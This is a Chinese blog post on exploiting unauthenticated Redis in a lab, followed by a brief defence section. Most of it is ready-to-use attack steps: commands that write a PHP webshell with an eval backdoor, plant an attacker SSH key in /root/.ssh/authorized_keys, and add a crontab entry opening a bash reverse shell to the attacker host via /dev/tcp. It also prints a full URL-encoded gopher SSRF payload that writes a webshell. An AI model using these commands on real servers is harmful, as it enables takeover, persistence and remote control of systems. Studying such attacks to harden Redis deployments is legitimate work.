首页 > 数据库 >redis未授权访问及利用总结

redis未授权访问及利用总结

时间:2024-10-14 15:22:19浏览次数:6  
标签:24% set 写入 redis 访问 0a% 授权 0d%

Redis未授权访问漏洞

漏洞原理

redis默认端口6379,在默认配置情况下密码为空,因此如果将redis暴露到公网,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据,并且可以利用redis写入shell、写入公钥等危险操作

漏洞复现

安装redis

下载安装包后进行解压

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

进入到redis目录,make编译

image-20230626135637672

进入到src目录,将redis-cli 和 redis-server 复制到/usr/bin目录下

cp redis-cli /usr/bin
cp redis-server /usr/bin

回到redis-2.8.17 目录,将redis-config 复制到/etc下

image-20230626135919912

安装完成,使用redis-conf配置文件启动redis

redis-server /etc/redis-conf

image-20230626140155518

在攻击机上同样安装启动redis,过程一致

靶机IP:192.168.30.103

攻击机IP:192.168.30.102

在攻击机上连接靶机

redis-cli -h 192.168.30.103

image-20230626142635206

可以看到在没有任何认证的情况下直接远程连接上了靶机的redis服务

漏洞利用

利用redis写入webshell

前提条件:

  • 可以成功远程连接,并且未作登录验证
  • 知道网站的绝对路径,并且具有写入权限

因为是自己搭建的环境,所以知道绝对路径,使用config 修改redis保存目录和数据库文件名

config set dir /opt/lampp/htdocs/temp

image-20230626154010551

config set dbfilename redis.php

通过键值,写入shell(redis会自动添加上版本信息,换行防止解析不了)

set x "\r\n\r\n<?php phpinfo();eval($_POST['shell']);?>\r\n\r\n"

访问写入的shell

image-20230626154606562

蚁剑连接

image-20230626154531660

写入SSH公钥

利用redis向靶机中的root账户写入ssh公钥,通过ssh登录目标服务器

1.在攻击机中生成RSA公私钥

ssh-keygen -t rsa

2.将生成的公钥保存为1.txt(同样换行)

(echo -e "\r\n";cat id_rsa.pub;echo -e "\r\n";) > 1.txt

3.利用redis,将1.txt写入到靶机

修改redis路径为ssh的公钥路径

config set dir /root/.ssh

修改文件名

config set dbfilename authorized_keys

写入公钥文件

cat /root/.ssh/1.txt | redis-cli -h 192.168.30.103 -x set x

image-20230626162730848

查看靶机的.ssh目录,写入成功

image-20230626163022756

4.在攻击机上使用ssh远程登录靶机

ssh -i id_rsa [email protected]

image-20230626162843695

利用crontab反弹shell

1.攻击机上监听6666端口

nc -lvp 6666

image-20230626164742537

2.利用redis写入定时计划

修改redis路径为crontab的路径

config set dir /var/spool/cron

修改文件名,修改完记得save一下

config set dbfilename root

写入定时计划

set x "\r\n*/1 * * * * /bin/bash -i>& /dev/tcp/192.168.30.102/6666 0>&1\r\n"

差不多一分钟以后就会执行语句反弹shell了

image-20230626173506576

SSRF&Gopher&Redis

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

gopher协议格式

gopher://<host>:<port>/<gopher-path>_后接TCP数据流

这里推荐一个快速生成redis利用的payload脚本 firebroo/sec_tools ,需要修改py文件中的目的ip和端口,在redis.cmd中修改要执行的redis命令

flushall
config set dir /opt/lampp/htdocs/temp
config set dbfilename shell.php
set 'x' '<?php phpinfo();?>'
save

执行python脚本,生成payload

gopher://192.168.30.103:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%32%32%0d%0a%2f%6f%70%74%2f%6c%61%6d%70%70%2f%68%74%64%6f%63%73%2f%74%65%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%78%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

image-20230626180851533

使用curl或者在ssrf漏洞环境中执行payload

image-20230626181008523

访问刚刚写入的shell

image-20230626181346508

漏洞防御

1.配置防火墙安全策略,禁止外网访问redis服务

2.在redis.conf配置文件中绑定ip

image-20230626173813926

3.在redis.conf中开启密码认证

requirepass [yourpass]

image-20230626174857268

标签:24%,set,写入,redis,访问,0a%,授权,0d%
From: https://www.cnblogs.com/Mast1n/p/redis.html

相关文章

  • Redis缓存更新策略
    缓存更新策略内存淘汰超时剔除主动更新说明利用Redi的内存淘汰机制,当内存不足时自动淘汰部分数据,下次查询时更新缓存给缓存数据添加TTL(即缓存存在时间)的时间,到期后自动删除缓存,下次查询时更新缓存在修改数据库的同时,更新缓存一致性差一般好维护成本无低高业务使用场景:低一致......
  • redis缓存穿透、雪崩、击穿
    缓存穿透缓存穿透:客户端请求的数据在缓存和数据库都不存在。这样缓存永远不会生效,这些请求都会打到数据库中。解决方案缓存空对象(常用)优点:实现简单,维护方便缺点:额外的内存消耗;可能造成短期的不一致(可以设置TTL时间,缓解不一致的情况)布隆过滤器(常用)优点:内存占用少,没用多......
  • 第7周 7.2 成员访问权限与内部类
    7.2.1作用域在Java中,我们经常看到public、protected、private这些修饰符。在Java中,这些修饰符可以用来限定访问作用域。public定义为public的class、interface可以被其他任何类访问://packageabc;publicclassHello{publicvoidhi(){}}上面的Hello是publi......
  • codeforces round 977 (div.2) C2(访问set的第一个元素,观察数据规律-出现次序,用set记
    解题历程:我首先想到的是等效法,每一次操作可以等效为每次将第一个人抽出放入一组,后面的人往前移,而该组的人就是可以任意放置的人,当b中后面再出现与前一个相同的人时,就不进行操作,当b中出现不同的人时,就看看这组中有没有这个人,有的话就下一个循环,没有的话就看看这个新的人是否按a中......
  • Redis 缓存预热,缓存雪崩,缓存击穿,缓存穿透
    Spring-data-redis说明:在SpringBoot2.x之后,原来使用的jedis被替换为了lettucejedis:采用的直连,多个线程操作的话,是不安全的,如果想要避免不安全的,使用jedispool连接池lettuce:采用netty,实例可以再多个线程中进行共享,不存在线程不安全的情况!可以减少线程数据了1......
  • 滚雪球学Redis[3.3讲]:Redis数据持久化深入探讨:从 AOF 到混合持久化的演进
    全文目录:前言混合持久化1.RDB与AOF之间的权衡2.混合持久化的工作原理工作机制详解3.配置与实践实例演示4.实际应用中的案例分析5.深入探讨混合持久化的优势与局限6.扩展思考:如何选择Redis的持久化策略?总结附:案例与代码配置文件示例:测试代码:模拟数据恢复:下......
  • 【汇编语言】第三章----寄存器(内存访问)(一)—— 内存中字的存储
    文章目录前言1.内存中字的存储2.问题3.问题分析与解答4.结论结语前言......
  • Redis 必知概念
    Redis为什么快基于内存实现:Redis将数据存储在内存中,读写操作不会受到磁盘IO速度限制;CPU不是Redis的瓶颈,Redis的瓶颈在于机器内存的大小或者网络带宽I/O多路复用模型的使用:Redis线程不会阻塞在某一个特定的客户端请求处理上;可以同时和多个客户端连接并处理请求,从......
  • SpringBoot利用redission实现延迟队列
    1.引入依赖<dependency><groupId>org.redisson</groupId><artifactId>redisson</artifactId><version>3.23.3</version></dependency>2、注入redissonClient@AutowiredprivateRedissonClientredissonClient;......
  • 利用Redis的BitMap统计每月用户连续签到
    利用Redis的BitMap统计每月用户连续签到我们按月来统计用户签到信息,签到记录为1,未签到则记录为0.把每一个bit位对应当月的每一天,形成了映射关系。用0和1标示业务状态,这种思路就称为位图(BitMap)。这样我们就用极小的空间,来实现了大量数据的表示Redis中是利用string类型数据......